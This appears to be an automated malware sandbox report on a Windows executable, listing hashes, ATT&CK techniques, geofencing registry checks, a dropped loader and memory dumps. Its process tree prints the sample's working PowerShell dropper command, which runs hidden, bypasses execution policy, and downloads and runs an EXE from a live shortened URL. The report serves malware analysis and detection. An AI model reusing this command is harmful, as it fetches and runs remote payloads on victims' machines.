1407f082426382f4c40b1dad6f9a38562d82f8dbfe09bf82d0a0e60102790450

General

Target

dda73a0896d03d2b30eef967250fa6d1_JaffaCakes118.exe
Size

360KB
MD5

dda73a0896d03d2b30eef967250fa6d1
SHA1

952909c7ad5ad665723bc9660dd47c4724203fd2
SHA256

1407f082426382f4c40b1dad6f9a38562d82f8dbfe09bf82d0a0e60102790450
SHA512

9ca8b118d3a9bf97bbded2d07c4ce0aef481e3a48004c1105e56ba346b1b8fa680d9bf8258c57d43b2c29ff11034a584a213d06faae196f1460ff31b2f40b30f
SSDEEP

6144:wBVt4nzqGVbFNxDouQj8HJqLVxx4qNDM9HeU9hBFHDKh2PlokQGze:64nZVJNVNQjSYx/NDM9HeAhBJjl1Qce

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://goo.gl/5ZjYus

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
18	4580	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4580	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	dda73a0896d03d2b30eef967250fa6d1_JaffaCakes118.exe

Executes dropped EXE 1 IoCs

pid	Process
4780	1-Loader PBBR.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dda73a0896d03d2b30eef967250fa6d1_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1-Loader PBBR.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4580	powershell.exe
4580	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4580	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2968 wrote to memory of 4780	2968	dda73a0896d03d2b30eef967250fa6d1_JaffaCakes118.exe	86
PID 2968 wrote to memory of 4780	2968	dda73a0896d03d2b30eef967250fa6d1_JaffaCakes118.exe	86
PID 2968 wrote to memory of 4780	2968	dda73a0896d03d2b30eef967250fa6d1_JaffaCakes118.exe	86
PID 2968 wrote to memory of 4580	2968	dda73a0896d03d2b30eef967250fa6d1_JaffaCakes118.exe	89
PID 2968 wrote to memory of 4580	2968	dda73a0896d03d2b30eef967250fa6d1_JaffaCakes118.exe	89
PID 2968 wrote to memory of 4580	2968	dda73a0896d03d2b30eef967250fa6d1_JaffaCakes118.exe	89

C:\Users\Admin\AppData\Local\Temp\dda73a0896d03d2b30eef967250fa6d1_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\dda73a0896d03d2b30eef967250fa6d1_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2968
- C:\Users\Admin\AppData\Local\Temp\1-Loader PBBR.exe
  "C:\Users\Admin\AppData\Local\Temp\1-Loader PBBR.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:4780
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://goo.gl/5ZjYus','C:\Users\Admin\AppData\Local\Temp\Test.exe');Start-Process 'C:\Users\Admin\AppData\Local\Temp\Test.exe'
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4580

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\1-Loader PBBR.exe

Filesize
88KB

MD5
c81d3d01cb30d23377dff14a3e40797a

SHA1
674f0131720f32389a1af60b0bf311b934e69779

SHA256
aa8f9c2b655f1ce46c6eace5083a481246c9fe8b0553dae30b072d8d8b6f85a1

SHA512
ddad538e5d4073b5ddd6c2a1b4def498969286f1a98071e04dd7c303ac45bf93e0dc7d654f9d84cc4f75bb63191532de3ddf6e359a9ac1c2f44d1fabce07bd07

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_13lbntko.avk.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\logs.lnk

Filesize
1KB

MD5
ebd63f7c4c27f0365c3a56f73fc3d913

SHA1
360b16c651d4ea79fbef5de6e002209df08fb92e

SHA256
e1ff5a0b98b2394cd0213757894c13915f8057406fc32df8d0307bdf7c9e2de4

SHA512
b27d71545ca48cddaac09d3f7a73af1e307f736e6aa6d7d0869a1bed861e40bd010237a12a8d6fbdccd4cd82d3e5433d874fa0d4fcab069fd82d1fb4e9feac84

Download Submit
memory/4580-23-0x0000000006230000-0x0000000006296000-memory.dmp

Filesize
408KB

Download
memory/4580-34-0x0000000006410000-0x0000000006764000-memory.dmp

Filesize
3.3MB

Download
memory/4580-19-0x0000000005410000-0x0000000005446000-memory.dmp

Filesize
216KB

Download
memory/4580-20-0x0000000073EA0000-0x0000000074650000-memory.dmp

Filesize
7.7MB

Download
memory/4580-21-0x0000000005C00000-0x0000000006228000-memory.dmp

Filesize
6.2MB

Download
memory/4580-22-0x0000000005B00000-0x0000000005B22000-memory.dmp

Filesize
136KB

Download
memory/4580-24-0x00000000062A0000-0x0000000006306000-memory.dmp

Filesize
408KB

Download
memory/4580-44-0x0000000073EA0000-0x0000000074650000-memory.dmp

Filesize
7.7MB

Download
memory/4580-41-0x0000000008D10000-0x00000000092B4000-memory.dmp

Filesize
5.6MB

Download
memory/4580-18-0x0000000073EAE000-0x0000000073EAF000-memory.dmp

Filesize
4KB

Download
memory/4580-36-0x00000000068F0000-0x000000000693C000-memory.dmp

Filesize
304KB

Download
memory/4580-35-0x00000000068A0000-0x00000000068BE000-memory.dmp

Filesize
120KB

Download
memory/4580-37-0x00000000080E0000-0x000000000875A000-memory.dmp

Filesize
6.5MB

Download
memory/4580-38-0x0000000006DA0000-0x0000000006DBA000-memory.dmp

Filesize
104KB

Download
memory/4580-39-0x0000000007D80000-0x0000000007E16000-memory.dmp

Filesize
600KB

Download
memory/4580-40-0x0000000007D20000-0x0000000007D42000-memory.dmp

Filesize
136KB

Download
memory/4780-10-0x0000000000520000-0x000000000053C000-memory.dmp

Filesize
112KB

Download
memory/4780-13-0x0000000000400000-0x0000000000419000-memory.dmp

Filesize
100KB

Download
memory/4780-45-0x0000000000400000-0x0000000000419000-memory.dmp

Filesize
100KB

Download
memory/4780-46-0x0000000000520000-0x000000000053C000-memory.dmp

Filesize
112KB

Download

Analysis

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